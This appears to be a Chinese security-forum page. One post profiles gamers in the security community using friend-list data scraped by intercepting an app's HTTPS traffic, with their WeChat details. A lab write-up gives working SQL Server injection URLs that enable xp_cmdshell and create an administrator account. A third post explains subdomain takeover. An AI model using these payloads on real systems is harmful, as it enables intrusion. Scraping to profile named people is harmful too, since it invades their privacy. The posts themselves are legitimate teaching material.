在最近20场比赛中吃鸡次数最多的是这位叫【qingfenggod】的玩家,达到了可怕的10次,近20场次中有一半的比赛都笑到了最后。前十次数第一的【RickyHao】则在吃鸡数上排到了第二位,达到了8次。
而这一数值的平均值仅才0.71,两位玩家都达到了10数倍。
【RickyHao】之所以在这一指标上如此突出是因为最近20场次里包含了很多活动模式,而【qingfenggod】则大部分是在排位中获得的,可以说是非常惊人的胜率了。
在KDA和伤害方面:

 
可以看到大部分玩家都集中在左下半部分,可以认为正常玩家都在这一点簇群内, 即KDA<2,伤害<400的部分。
而KDA达到4伤害超过550的玩家仅有4位。KDA超过5伤害超过600的仅仅只有一位了。
但有一位玩家达到了令人窒息的:


KD:8.4
伤害:1099.57


是第二名的近两倍,是平均值的近10倍!!!!直接来到了散点图的云端之上,这可是击杀与死亡比啊,如果不是高科技的话这位玩家可能是职业级的水准了。
这位玩家也正是刚才提到吃鸡榜第一的【qingfenggod】。
同样在吃鸡榜中排第二的【RickyHao】,这一数据仅为:


KD:3.7
伤害:461.18


排位第8位。
思考:其实这里已经可以很直观地分类出正常玩家、高级玩家、外挂玩家三大类别。如果是反外挂/风控等场景,对于这种密度相差很大的簇群,可以尝试使用kmeans这类基于距离的聚类算法来将样本分为3~5类,并借助移动速度、平均移动距离等指标来辅助判断是否为外挂玩家。这里不作深入探究。
笔者更感兴趣的是吃鸡和枪法的关系,一个人的枪法越好,越容易吃鸡吗?吃鸡对于笔者这样热衷伏地苟活的玩家会更友好吗?
对于枪法这一表征,直接使用KD和damage来代替,再加上移动距离来分析这三类指标与吃鸡率的相关性
做个简单的线性相关分析,计算Pearson系数:

 
光从相关系数看,枪法和吃鸡虽然是正相关,但并不是呈现出非常强的相关性,顶多达到了中等程度相关。
而整场游戏的移动距离则和吃鸡完全呈弱相关了,可能是吃鸡这个游戏真的很看运气吧。
而如果一位玩家只是想进入游戏前十,则和个人枪法没什么太大关系了,反而和移动距离关系较大。
换句话说,如果只是想冲进前十,乖乖苟毒跑圈就可以了。
这也基本印证我们对游戏的理解。
如果说以上对最近二十场次游戏的分析还无法回答“谁是安全圈吃鸡第一人”这个问题的话,那么历史最高排位情况应该能给出一个答案了。
那么谁的rank分值会是安全圈中最高的呢,我们同样遍历了1125位玩家的这一指标:

 
(注:官方API的提示中写到,由于官方服务器问题,一些玩家的这一数据可能丢失或者有误)
取四人TPP的排位情况,前三位分别是:


Salmonnnnn:4094.7144
syzhou:3906.409
ph4nt0mer:3609.1436


通过观察好友关系,笔者相信他们与安全圈关系密切(大家也可以搜索一下这些ID)。
写到这里,“谁是安全圈的吃鸡第一人?”这一问题已经差不多给出了答案。玩家画像
风控、反APT等场景中经常会用一些手段对黑客或者用户进行画像。在这里笔者也做了一些研究玩家游戏习惯的工作,基于玩家的击杀行为来画像。
挑选一位玩家游戏记录较多的玩家,以【sanmao2054】为例。
通过分析他550场次比赛中的的891次击杀,来推测一下该玩家的游戏习惯,刻画出这位玩家的游戏风格。
从武器使用情况来看:
 

 
sanmao2054最钟爱步枪,最常使用的是M416和AK47这两把万精油老款自动步枪,两把枪的击杀人数加起来超过了250次。
笔者最喜欢用的ScarL步枪在他的手里排在了优先级非常靠后的位置。
在狙击枪方面:
sanmao2054偏爱SKS这种连发狙击步枪,击杀次数达到了22次。而对于m24和kar98这种单发拉栓步枪就不太热衷使用,两把枪使用次数加起来也不过29次。
总体来看,这位玩家在狙击枪的使用频率上远不如步枪。所有狙击枪的击杀次数加起来都不及AK或者M4的一半。
在冲锋枪方面:
最爱的当属UMP,而vector紧随其后,达到44次击杀。要知道热爱vector的玩家并不多,所以这可以算是这位玩家较明显的特点。
其他:
空投枪的使用次数并不多,看来这位玩家对追梦没什么兴趣。
虽然是近身型玩家,但使用喷子的次数并不多。更偏向于自动武器。
而使用爆破手雷击杀了高达31次,这是个非常亮眼的数据。
从击杀距离来看:
 
平均击杀距离排在第一位的自然是狙中之王,精准度最强劲的AWM,达到了120多米。
排在第二的则是这位玩家最爱的SKS,达到111米了。
对于这位玩家最喜爱的m4和ak两类步枪,平均击杀距离仅只有19到24米。
从这里可以看出这位玩家偏好近距离作战,热爱刚枪,对于杀伤力较大的自动步枪情有独钟。
sanmao2054的最远击杀距离达到了285米,使用的却是SKS这一款连狙步枪,也从侧面印证此人刚枪的风格。
从平均击杀时间点来看:

 
sanmao2054在前期击杀使用的基本都是手枪/冲锋枪,DP28等武器,在中期会使用AK等自动步枪。后期则以空投枪为主。
有趣的一点是,这位玩家使用爆破手雷完成击杀的时间点也比较靠后。
可以合理地推测出,他比较倾向于在最后使用手雷来打扫战场,快速结束战斗。这也是比较聪明的做法。
根据以上信息基本可以脑补一下这位玩家的打法是:
先跳伞到人多的区域,随意捡起一两把武器(甚至是手枪)就开始干架,成功击杀对手后就寻找ak/m4等自动步枪过渡到中期,会留雷到后期来结束战斗,在少数情况下后期也会去考虑空投枪。
用一些关键词来描述sanmao2054可能会是:【刚枪小王子】、【步枪之王】、【不擅长狙击】、【爆破手】、【使用vector的大手子】之类的。
最后用两张安全圈所有玩家的死亡热力图来结束全文:

 
0×04 最后
本文仅是一个For fun的周末项目,涉及的数据有限。在真正的网络攻防实践中,数据挖掘和分析能为安全工程师带来更多的便利,特别是在流量分析/异常检测/溯源取证/风控画像等方面。
笔者目前在某甲方公司从事安全相关工作,身边搞数据分析的人较少,所以写这篇文章的目的也是希望能结识同样对安全数据分析感兴趣的小伙伴。
对这个方向感兴趣的小伙伴欢迎留言或wx/wb上同我交流:-)有周末组排缺菜鸡队友的也欢迎戳我。 查看全部
*本文原创作者:Omegogogo
各位大佬看看自己上榜了没
 0×00 前言 
放假和小伙伴们打了几把PUBG,大半年没碰,居然也意外地躺着吃了次鸡。吃鸡这个游戏果然得4个认识的人打(dai)战(dai)术(wo)才更有趣。
由于身边搞安全的人比较多,之前也会和一些安全圈的大佬一起玩,经常会有些认识或不认识的黑阔大佬开着高科技带着躺鸡。当然笔者也曾羞耻地开过挂带妹(纪念号被封的第193天)。
那么这些黑阔大佬们,在不开挂的情况下,谁会是他们之中技术最好的呢?带着这样的疑问,试着从数据分析的角度来看看谁会是安全圈的吃鸡第一人。



注:全文所指的“安全圈”是一个非常狭义的概念,在本文中仅覆盖到小部分安全从业者玩家,所以标题有些夸大。如有其他错误也欢迎指出。 



0×01 数据收集
怎么才能知道哪些安全从业者在玩这个游戏,他们的ID又是什么呢?
在一些APP里可以查到玩家的战绩,其中比较有价值的是,还能看到每位玩家的好友列表。
那么可以有这么个思路,也就是一个广度优先遍历:



1.确定一个初始的ID链表,并保证初始链表内都是安全圈内人士。
2.遍历初始链表内每一位玩家的所有好友。
3.当链表内H的好友J,同时也是链表内另外两位黑客的共同好友,那么认为J也是安全圈内人士,加入到链表尾处。
4.向后迭代重复2、3。



动手实现
发现走的是https,挂上证书以MITM的方式来监听https流量:

可以发现数据是以json格式传递的,写个python脚本来自动完成获取数据,单线程+限速(一方面不至于给别人家的api爬挂了另一方面也不至于触发IDS、anti-CC等机制)。
脚本主要代码是:
 
def r_get(nickname,offset):
#发送给api的request
...

return json#返回一个json格式

def get_friends(nickname):

offset = 0
res_js = r_get(nickname,str(offset))
temp_friends = res_js['result']['board']
if res_js['status'] == "ok":
while len(res_js['result']['board']) == 30:
offset = offset + 30
res_js = r_get(nickname,str(offset))
temp_friends = temp_friends + res_js['result']['board']
print(" {0} 的好友人数 {1}".format(res_js['result']['user_rank']['nickname'], len(temp_friends) -1 ))
friends =
Wxname = ""
Wxsex = ""
Wxavatar = ""
sql = ""
for playerinfo in temp_friends:
if playerinfo['nickname'] != res_js['result']['user_rank']['nickname']:
friends.append(playerinfo['nickname'])
elif playerinfo.has_key('heybox_info') == True:
Wxname = playerinfo['heybox_info']['username']
Wxsex = playerinfo['heybox_info']['sex']
Wxavatar = playerinfo['heybox_info']['avartar']
friends_s = ','.join(friends)

sql = "INSERT INTO player (nickname,avatar,steamID,friends,Wxname,Wxsex,Wxavatar) \
VALUES ('{0}','{1}','{2}','{3}','{4}','{5}','{6}')".format(res_js['result']['user_rank']['nickname'],res_js['result']['user_rank']['avatar'], res_js['result']['user_rank']['steam_id'],friends_s,Wxname,Wxsex,Wxavatar)
return friends,sql
else:
print("获取{0}的好友人数失败, 返回{1}".format(res_js['result']['user_rank']['nickname'],res_js['msg']))
return 1

def record_rds(sql):
#db操作

def main():
...

 笔者先确定一份初始安全圈列表,包括“Rickyhao”、“RicterZ”、“r3dr41n”、“PwnDog”等。这些人或是在bat、360等公司从事安全相关工作,或是笔者信安专业的同学,或ID明显带有安全的特征(PwnDog),总之都是比较确信的安全圈人士。
以这些人为初始列表,很快就有几位玩家被划定为安全圈人士。

 
在遍历到大约第50来位的时候也看到了自己的游戏昵称:Omego555(正是刚才提到开挂带妹被封的账号)    

遍历到“wilson233”时发现直接跳过了,并没有被纳入到安全圈列表中,但笔者读过wilson写下的很多优质文章,他也是某甲方公司的安全从业者。

 
(该ID在后来的某次遍历中也被纳入了列表中,程序表现出一定的健壮性。 )
在数据量达到1000多的时候笔者手动终止了程序。原因是列表增长的速度越来越快,在单线程+限速的限制下程序迟迟看不到收敛的希望。另一方面笔者只是想做个小测试,并不需要太大规模的数据集。观察数据集
初步观察数据集,发现很多有意思的事情:比如在遍历到第300多位玩家的时候,发现了一个ID带得有“pkav”字样的玩家”PKAV-xiaoL“(pkav是原来在乌云很有名气的安全组织,其中一名成员“gainover”正是原乌云知识库《安全圈有多大》一文的作者,笔者也是受到这篇文章的启发才打算做这个小项目)。
随着PKAV-xiaoL被确定到安全圈列表中,由于社交关系,更多的pkav成员也被添加进列表中。

 
除了pkav-xxx,还看到了一些很眼熟的ID:比如【SparkZheng】—正是多个ios越狱的作者蒸米大大

 
比如【ma7h1as】,笔者大学时的队友,现玄武实验室大佬,多个Google/MS CVE获得者,超级大黑客

 
再来看这位,从游戏昵称看不出是谁,但微信昵称告诉我们这个账号的主人应该是安全盒子的创始人王松。

 
当然还有一些活跃在安全论坛,或者笔者有读过的一些高质量技术文章的作者的ID,眼熟的如”lightless233″、”LoRexxar”、”susu43″、”CurseRed”等,这里不再一一列举。
除此之外还有一些玩家,比如这位:


笔者既不认识他,也从未在安全论坛见过他的ID,只是猜想用“sudo”作为ID的人是安全从业者的可能性比较大吧。那么他真的会是安全圈人士吗?
试着搜索一下:
找到了他的GitHub,并在
 
其中发现了很多你懂的东西,很有趣对吧? 0×02 社群发现与社区关系
我们发现了很多安全圈的吃鸡玩家,但是除了这些眼熟和有迹可循的ID,列表里躺着的绝大多数都是笔者没见过,陌生的ID。为了弄清楚他们之间的社区关系。我们使用一些算法和可视化工具来帮助进行数据分析。
先用环形关系图看看:

 
圆上的每个红点代表一位玩家,无数条灰边则将各位玩家串联起来。在这份数据集中一共有1270个节点,他们互相组成了共计14216次好友关系,形成了7128条灰边。称得上是复杂的社交网络了。
我们使用无向图来构建力引导关系,虽然在安全领域的风控、反欺诈方向中使用有向图更为广泛一些,但好友关系是双向的,因此这里用无向图。代码如下:
 
# -*- coding: UTF-8-*-  
from pyecharts import Graph

import json

import sys

import sqlite3

conn = sqlite3.connect('db2.db')

c = conn.cursor()

print "Opened database successfully";

cursor = c.execute("SELECT nickname,friends FROM player")

nodes =

links =

temps =

for row in cursor:

temps.append({"name":row[0],"friends":row[1].split(",")})

nodes.append({"name":row[0],"symbolSize":5})

for temp in temps:

for friend in temp["friends"]:

if {"name":friend,"symbolSize":5} in nodes:

links.append({"source":temp["name"],"target":friend})

graph = Graph("力导图",width=1400,height=1600)

graph.add(

"",

nodes,

links,

graph_layout = "force",

label_pos="right",

graph_repulsion=10,

line_curve=0.2,

)

graph.render()
 
 
得到:

 
俗话说“物以类聚人以群分”,在我们的数据集中也同样适用。可以观察到这份社交网络其实是由多个小社区群落组成的,比如在最左下角的这个部分,这个小社区处于安全圈的边缘地带,很有可能不是安全从业者,我们放大来看:

 
这个“五边形”是一个完全子图。在这个小社区中,五个人都互为好友,也被称作“派系(Clique)”,这五个人很有可能经常一起开黑。
同时我们可以看到顶点这位玩家:

 
如果我们把上面最大的部分看做是安全圈的话,这位叫Feng_Bao的玩家卡在了安全圈与这个5人小社区“道路咽喉”的位置,这样的节点具有较高的“中介中心性(Betweenness Centrality)”,往往具有不可替代的作用。在现实中类似房屋中介一样,买房者与卖房者之间的联系都得靠他。
除了中介中心性,在图论中节点还有另外两个重要性质:度中心性(Degree Centrality)以及紧密中心性(Closeness Centrality)。
一个节点与之相连的边越多,这个节点的度中心性就越高,也就是好友越多,度中心性越高,很可能是具有较高名望的人,比如微博的大V,意见领袖等。
紧密中心性则是衡量一个节点到其他所有节点的最短距离之和的指标,一个节点的紧密中心性越高那么他传播信息的时候也就越不需要依赖其他人。
分别计算一下数据集中三个中心性排名靠前的玩家。
有没有看到眼熟的ID呢:

 
确实看到一些眼熟的ID,但由于我们前面寻找安全圈的算法并不准确,在收集数据的过程中很可能误入到某些特定的圈子中。比如某些安全圈玩家同时又是二次元爱好者,那么很可能会把这份数据集带入到“二次元圈”。为了尽量避免这种情况,我们使用一些社区发现算法来完成社区的寻找与分割。



社区发现算法用来发现网络中的社区结构,多数是聚类类型的算法。使用社区发现算法可以帮助我们发现联系相对紧密的社区,从而帮助我们把安全圈和其他圈子的人分割开来。




 
常见的社区发现算法有:Girvan-Newman、Louvai、K-Clique、Label propagation等。
在Python下可以使用NetworkX来完成各类社区发现算法的调试,但NetworkX本身只是算法工具,并不具备可视化功能,而笔者联调plt画出来的图实在奇丑无比。因此这里使用算法单一但可视化功能强悍的gephi来实现。
fast-unfolding是基于Modularity的算法,也是复杂网络当中进行社团划分简单高效、应用最广泛的算法。
用force atlas图布局:

 
fast-unfolding:

 
除此之外Gephi还支持GN算法,但内存要求较高,有兴趣的同学可以尝试下其他算法。
经过30000余次迭代,最终得到了19个社区,用图像来表示是这样的:

 
在社区发现算法中社区的数目和大小通常是不可知的,一般是用模块度Modularity来检查社区分类的合理性。由于本文采集的数据较少且这里的好友关系是双向的,不像微博的关注/粉丝的机制能较准确地找出图的连通性,所以这里的社区发现效果并不理想。
笔者在使用NetworkX尝试了多种算法和不同的参数后,最终选择了一个样本数量为1125的社区,覆盖了原数据集样本总数的88.58%。在简单观察了这个社区的合理性后,决定使用这份数据集来做后续的战绩分析。
 
 0×03 战绩爬取和分析谁是安全圈的吃鸡第一人
拿到了要进行战绩数据采集的玩家名单后,我们需要先确定几个指标来衡量一个玩家的吃鸡技术水平,才能有指向性的进行数据采集。笔者最终选取了数个指标,分别是:



1.历史最高Rank,即最高段位
2.最近20场游戏的平均排名
3.最近20场的吃鸡数和前10数
4.最近20场游戏的击杀总数
5.最近20场游戏造成的总伤害



笔者还决定采集一些有趣的指标,能反映玩家的游戏习惯:



1.最近20场的武器使用情况
2.最近20场的死亡地点
3.最近20场的游戏总时长



爬虫写完后数据很快就抓取完毕。
先来看看安全圈玩家们最近20场游戏的情况
在最近的20场比赛中苟到排名前十次数最多的是【RickyHao】和【NeglectLee】两位,达到惊人的17次,85%的前10率。
这一指标在安全圈的平均值是6.33。
 
单独看看吃鸡情况:

 
在最近20场比赛中吃鸡次数最多的是这位叫【qingfenggod】的玩家,达到了可怕的10次,近20场次中有一半的比赛都笑到了最后。前十次数第一的【RickyHao】则在吃鸡数上排到了第二位,达到了8次。
而这一数值的平均值仅才0.71,两位玩家都达到了10数倍。
【RickyHao】之所以在这一指标上如此突出是因为最近20场次里包含了很多活动模式,而【qingfenggod】则大部分是在排位中获得的,可以说是非常惊人的胜率了。
在KDA和伤害方面:

 
可以看到大部分玩家都集中在左下半部分,可以认为正常玩家都在这一点簇群内, 即KDA<2,伤害<400的部分。
而KDA达到4伤害超过550的玩家仅有4位。KDA超过5伤害超过600的仅仅只有一位了。
但有一位玩家达到了令人窒息的:



KD:8.4
伤害:1099.57



是第二名的近两倍,是平均值的近10倍!!!!直接来到了散点图的云端之上,这可是击杀与死亡比啊,如果不是高科技的话这位玩家可能是职业级的水准了。
这位玩家也正是刚才提到吃鸡榜第一的【qingfenggod】。
同样在吃鸡榜中排第二的【RickyHao】,这一数据仅为:



KD:3.7
伤害:461.18



排位第8位。
思考:其实这里已经可以很直观地分类出正常玩家、高级玩家、外挂玩家三大类别。如果是反外挂/风控等场景,对于这种密度相差很大的簇群,可以尝试使用kmeans这类基于距离的聚类算法来将样本分为3~5类,并借助移动速度、平均移动距离等指标来辅助判断是否为外挂玩家。这里不作深入探究。
笔者更感兴趣的是吃鸡和枪法的关系,一个人的枪法越好,越容易吃鸡吗?吃鸡对于笔者这样热衷伏地苟活的玩家会更友好吗?
对于枪法这一表征,直接使用KD和damage来代替,再加上移动距离来分析这三类指标与吃鸡率的相关性
做个简单的线性相关分析,计算Pearson系数:

 
光从相关系数看,枪法和吃鸡虽然是正相关,但并不是呈现出非常强的相关性,顶多达到了中等程度相关。
而整场游戏的移动距离则和吃鸡完全呈弱相关了,可能是吃鸡这个游戏真的很看运气吧。
而如果一位玩家只是想进入游戏前十,则和个人枪法没什么太大关系了,反而和移动距离关系较大。
换句话说,如果只是想冲进前十,乖乖苟毒跑圈就可以了。
这也基本印证我们对游戏的理解。
如果说以上对最近二十场次游戏的分析还无法回答“谁是安全圈吃鸡第一人”这个问题的话,那么历史最高排位情况应该能给出一个答案了。
那么谁的rank分值会是安全圈中最高的呢,我们同样遍历了1125位玩家的这一指标:

 
(注:官方API的提示中写到,由于官方服务器问题,一些玩家的这一数据可能丢失或者有误)
取四人TPP的排位情况,前三位分别是:



Salmonnnnn:4094.7144
syzhou:3906.409
ph4nt0mer:3609.1436



通过观察好友关系,笔者相信他们与安全圈关系密切(大家也可以搜索一下这些ID)。
写到这里,“谁是安全圈的吃鸡第一人?”这一问题已经差不多给出了答案。玩家画像
风控、反APT等场景中经常会用一些手段对黑客或者用户进行画像。在这里笔者也做了一些研究玩家游戏习惯的工作,基于玩家的击杀行为来画像。
挑选一位玩家游戏记录较多的玩家,以【sanmao2054】为例。
通过分析他550场次比赛中的的891次击杀,来推测一下该玩家的游戏习惯,刻画出这位玩家的游戏风格。
从武器使用情况来看:
 

 
sanmao2054最钟爱步枪,最常使用的是M416和AK47这两把万精油老款自动步枪,两把枪的击杀人数加起来超过了250次。
笔者最喜欢用的ScarL步枪在他的手里排在了优先级非常靠后的位置。
在狙击枪方面:
sanmao2054偏爱SKS这种连发狙击步枪,击杀次数达到了22次。而对于m24和kar98这种单发拉栓步枪就不太热衷使用,两把枪使用次数加起来也不过29次。
总体来看,这位玩家在狙击枪的使用频率上远不如步枪。所有狙击枪的击杀次数加起来都不及AK或者M4的一半。
在冲锋枪方面:
最爱的当属UMP,而vector紧随其后,达到44次击杀。要知道热爱vector的玩家并不多,所以这可以算是这位玩家较明显的特点。
其他:
空投枪的使用次数并不多,看来这位玩家对追梦没什么兴趣。
虽然是近身型玩家,但使用喷子的次数并不多。更偏向于自动武器。
而使用爆破手雷击杀了高达31次,这是个非常亮眼的数据。
从击杀距离来看:
 
平均击杀距离排在第一位的自然是狙中之王,精准度最强劲的AWM,达到了120多米。
排在第二的则是这位玩家最爱的SKS,达到111米了。
对于这位玩家最喜爱的m4和ak两类步枪,平均击杀距离仅只有19到24米。
从这里可以看出这位玩家偏好近距离作战,热爱刚枪,对于杀伤力较大的自动步枪情有独钟。
sanmao2054的最远击杀距离达到了285米,使用的却是SKS这一款连狙步枪,也从侧面印证此人刚枪的风格。
从平均击杀时间点来看:

 
sanmao2054在前期击杀使用的基本都是手枪/冲锋枪,DP28等武器,在中期会使用AK等自动步枪。后期则以空投枪为主。
有趣的一点是,这位玩家使用爆破手雷完成击杀的时间点也比较靠后。
可以合理地推测出,他比较倾向于在最后使用手雷来打扫战场,快速结束战斗。这也是比较聪明的做法。
根据以上信息基本可以脑补一下这位玩家的打法是:
先跳伞到人多的区域,随意捡起一两把武器(甚至是手枪)就开始干架,成功击杀对手后就寻找ak/m4等自动步枪过渡到中期,会留雷到后期来结束战斗,在少数情况下后期也会去考虑空投枪。
用一些关键词来描述sanmao2054可能会是:【刚枪小王子】、【步枪之王】、【不擅长狙击】、【爆破手】、【使用vector的大手子】之类的。
最后用两张安全圈所有玩家的死亡热力图来结束全文:

 
0×04 最后
本文仅是一个For fun的周末项目,涉及的数据有限。在真正的网络攻防实践中,数据挖掘和分析能为安全工程师带来更多的便利,特别是在流量分析/异常检测/溯源取证/风控画像等方面。
笔者目前在某甲方公司从事安全相关工作,身边搞数据分析的人较少,所以写这篇文章的目的也是希望能结识同样对安全数据分析感兴趣的小伙伴。
对这个方向感兴趣的小伙伴欢迎留言或wx/wb上同我交流:-)有周末组排缺菜鸡队友的也欢迎戳我。

SQLServer注入中基于xp_cmdshell的命令执行

wuyou 发表了文章 • 0 个评论 • 358 次浏览 • 2019-04-14 13:44 • 来自相关话题

前提:
getshell或者存在sql注入并且能够执行命令。sql server是system权限(默认权限),因为xp_cmdshell默认在mssql2000中是开启的,在mssql2005之后的版本中则默认禁止。如果用户拥有管理员sa权限则可以用sp_configure重修开启它。


实验环境:
sql server 2008
IIS 7.0
存在注入点的asp的Web页面

实验过程:
xp_cmdshell可以让系统管理员以操作系统命令行解释器的方式执行给定的命令字符串,并以文本行方式返回任何输出,是一个功能非常强大的扩展存贮过程。




这个就是我们的实验用注入点

首先判断是不是dba权限(延时后返回正确页面,确定为dba权限)
http://192.168.10.9/char.asp?id=3';if(1=(select is_srvrolemember('sysadmin'))) WAITFOR DELAY '0:0:2'--

查看是否有xp_cmdshell
http://192.168.10.9/char.asp?id=3';if(1=(select count(*) from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell')) WAITFOR DELAY '0:0:2'--
成功延时,接下来开启xp_cmdshell

允许修改高级参数
http://192.168.10.9/char.asp?id=3';EXEC sp_configure 'show advanced options',1;RECONFIGURE--

打开xp_cmdshell扩展
http://192.168.10.9/char.asp?id=3';EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;--
这时xp_cmdshell就打开成功了,但是接来下继续操作时发现了一些关于权限的问题





MSSQL2005,2008等之后版本的MSSQL都分别对系统存储过程做了权限控制以防止被滥用。
于是我调整了开启MSSQL服务的账户





命令执行成功




 
Web环境测试:
http://192.168.10.9/char.asp?id=3';exec master..xp_cmdshell 'net user test /add'--
http://192.168.10.9/char.asp?id=3';exec master..xp_cmdshell 'net localgroup administrators test /add'--

尝试写入文件成功
http://192.168.10.9/char.asp?id=3';exec master..xp_cmdshell 'echo test >c:\\inetpub\\wwwroot\\1.txt';--

但是在写入Asp木马时发现无法写入'%',于是无法构造完整一句话木马
但是可以尝试其他思路
不知道网站根路径的情况下可以使用命令执行创建临时表并写入一些路径,然后用sqlmap跑出来

  查看全部
前提:
  1. getshell或者存在sql注入并且能够执行命令。
  2. sql server是system权限(默认权限),因为xp_cmdshell默认在mssql2000中是开启的,在mssql2005之后的版本中则默认禁止。如果用户拥有管理员sa权限则可以用sp_configure重修开启它。



实验环境:
sql server 2008
IIS 7.0
存在注入点的asp的Web页面

实验过程:
xp_cmdshell可以让系统管理员以操作系统命令行解释器的方式执行给定的命令字符串,并以文本行方式返回任何输出,是一个功能非常强大的扩展存贮过程。
1.png

这个就是我们的实验用注入点

首先判断是不是dba权限(延时后返回正确页面,确定为dba权限)
http://192.168.10.9/char.asp?id=3';if(1=(select is_srvrolemember('sysadmin'))) WAITFOR DELAY '0:0:2'--

查看是否有xp_cmdshell
http://192.168.10.9/char.asp?id=3';if(1=(select count(*) from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell')) WAITFOR DELAY '0:0:2'--
成功延时,接下来开启xp_cmdshell

允许修改高级参数
http://192.168.10.9/char.asp?id=3';EXEC sp_configure 'show advanced options',1;RECONFIGURE--

打开xp_cmdshell扩展
http://192.168.10.9/char.asp?id=3';EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;--
这时xp_cmdshell就打开成功了,但是接来下继续操作时发现了一些关于权限的问题
2.png


MSSQL2005,2008等之后版本的MSSQL都分别对系统存储过程做了权限控制以防止被滥用。
于是我调整了开启MSSQL服务的账户
3.png


命令执行成功
4.png

 
Web环境测试:
http://192.168.10.9/char.asp?id=3';exec master..xp_cmdshell 'net user test /add'--
http://192.168.10.9/char.asp?id=3';exec master..xp_cmdshell 'net localgroup administrators test /add'--

尝试写入文件成功
http://192.168.10.9/char.asp?id=3';exec master..xp_cmdshell 'echo test >c:\\inetpub\\wwwroot\\1.txt';--

但是在写入Asp木马时发现无法写入'%',于是无法构造完整一句话木马
但是可以尝试其他思路
不知道网站根路径的情况下可以使用命令执行创建临时表并写入一些路径,然后用sqlmap跑出来

 

云安全----子域名takeover漏洞原理分析与防御(以微软为例)

sq_smile 发表了文章 • 0 个评论 • 164 次浏览 • 2019-04-08 11:13 • 来自相关话题

0x01、subdomain takeover,子域名劫持/接管。 
0X02、漏洞实例--有趣的测试
某日,刚加上白帽师傅@wAnyBug,聊天过程可谓步步惊魂(我的cookie真的不值钱)。





猜测:看到是子域名,初步感觉子域名learnt.MicroSoft.Com被劫持(接管)。
 
确认:Chrome隐身模式下访问 learnt.MicroSoft.Com 看到了非微软内容,大致可确认是子域劫持(接管)。





猜测:此时如果我登录outlook并访问该子域名learnt.MicroSoft.Com,很可能cookie不保。
 
确认:后来发现微软的登录设计为SSO(单点登录,Single Sign On),即微软服务统一在login.live.com登录。所以可以肯定,如果我登录outlook并访问该子域名learnt.MicroSoft.Com,则cookie可被web后端获取。
0X03 实例分析
查询该网站的DNS记录:C:\Users\ASUS>nslookup learnt.MicroSoft.Com
Server: phicomm.me
Address: 192.168.0.1


Non-authoritative answer:
Name: subdomain-takeover-msrc.wanybug.Com
Address: 47.52.101.203
Aliases: learnt.MicroSoft.Com
ldlearntest.trafficmanager.net可以得出:Name: subdomain-takeover-msrc.wanybug.Com
Aliases: learnt.MicroSoft.Com
ldlearntest.trafficmanager.net       由此可以判断出 白帽师傅@wAnyBug 注册了ldlearntest.trafficmanager.net (随后确认确实如此)。
       注意:=12pttrafficmanager.net确实仍是"微软(中国)有限公司"的重要域名,用于Azure云服务,可以提供给用户们注册自己的云服务子域名。格式为 xxx.trafficmanager.net。
       通过搜索引擎 搜索site:trafficmanager.net|trafficmanager.cn可以看到很多云服务器的域名。如,某酒厂的域名为 www.dawine.com 通过查询:C:\Users\ASUS>nslookup www.dawine.com
Server: google-public-dns-a.google.com
Address: 8.8.8.8


Non-authoritative answer:
Name: dawine1.chinacloudapp.cn
Address: 139.217.132.95
Aliases: www.dawine.com
dawinechinaweb.trafficmanager.cn        可发现其服务器使用Azure云服务,并将符合其自身商业名称的域名,dawineroottea.traffiicmanger.cn作为www.dwwine.com的CNAM。
0X04  漏洞原理:A公司域名为 a.com 并使用云服务cloud.com提供服务,申请并得到了云服务主机 imA.cloud.com。
A公司运维人员将 shop.a.com 的CNAME 设置为 imA.cloud.com。
某天A公司的该服务因为某些原因不再使用了,于是直接停掉了云主机 imA.cloud.com (或该云主机无人管理已过期)。
此时shop.a.com 的CNAME依然是 imA.cloud.com(关键:A公司未重新设置 shop.a.com 的CNAME值)。
如果攻击者w使用cloud.com的云服务并尝试申请并成功得到了云服务主机 imA.cloud.com。
攻击者w将 imA.cloud.com 的web页面改为文本"hacked!"。
此时访问shop.a.com 则出现 文本"hacked!"。
0X05    漏洞危害:* 获取Cookie
* 构造页面内容 (包括但不限于钓鱼、广告...)
* 执行任意javascript代码(类似XSS) 所以XSS具有的危害 这里都有
* 探测内网(利用实时通信标准WebRTC 获取存活主机ip列表 甚至部分端口 能打到内网则类似SSRF漏洞 可对内网发起许多攻击... 如XSS可以利用redis未授权Getshell)
* 获取管理员或普通用户的cookie 读取账户特有的信息/执行账户特有的操作
* 窃取表单凭据 - 类似键盘记录 记录或读取表单输入的内容
* 构造钓鱼页面 - 窃取用户及管理员其他的凭证
* 漏洞联合 - 使用XSS无交互地利用CSRF漏洞. 有的anti-CSRF机制只判断Referer的值(自身/兄弟/父子域名 则正常响应) 如果这些站有某处存在XSS则可无交互地利用CSRF漏洞
* XSS蠕虫 - 在社交网站上可创建蠕虫式的XSS攻击 传播速度极快 影响极大
* 获取前端代码 - 如管理员后台系统 修改密码处的html代码中有对应的字段名 可根据代码构造请求 以实现新增或修改管理员账号密码
* DOS攻击 - 自动注销 让用户无法登录 严重影响业务使用
* DDoS攻击 - 对其他站点进行应用层DDoS攻击 如持续发送HTTP请求
* 传播非法内容 - 跳转或直接修改页面内容为非法内容. 如 广告 诋毁 等
* 使浏览器下载文件 - 结合社工方法欺骗用户 使其打开有危害的程序
* 挖矿等
*...
总之危害很大。
另外其他配置可能会扩大危害,如A公司设置了泛解析*.a.com 都指向了 云服务提供商的某个云主机的域名。
0X06    测试方法:1、手工:nslookup
2、michenriksen/aquatone命令。 aquatone-takeover --domain xx.com --threads 500
0X07    防御方案:* 提高资产管理能力 (避免云服务过期或被关闭,被他人"抢注")
* 可以考虑使用名称不可自定义(随机hash值)的云服务商 如258ea2e57bca0.Acloud.com (避免云服务过期或被关闭,被他人"抢注")
* 如果被"抢注" 重新设置域名的CNAME
 
文章转自阿里云的先知社区,原文链接为:https://xz.aliyun.com/t/4673
作者:arr0w1
  查看全部
0x01、subdomain takeover,子域名劫持/接管。 
0X02、漏洞实例--有趣的测试
某日,刚加上白帽师傅@wAnyBug,聊天过程可谓步步惊魂(我的cookie真的不值钱)。

1---和漏洞师父的聊天.png

猜测:看到是子域名,初步感觉子域名learnt.MicroSoft.Com被劫持(接管)。
 
确认:Chrome隐身模式下访问 learnt.MicroSoft.Com 看到了非微软内容,大致可确认是子域劫持(接管)。

2---漏洞示意图.png

猜测:此时如果我登录outlook并访问该子域名learnt.MicroSoft.Com,很可能cookie不保。
 
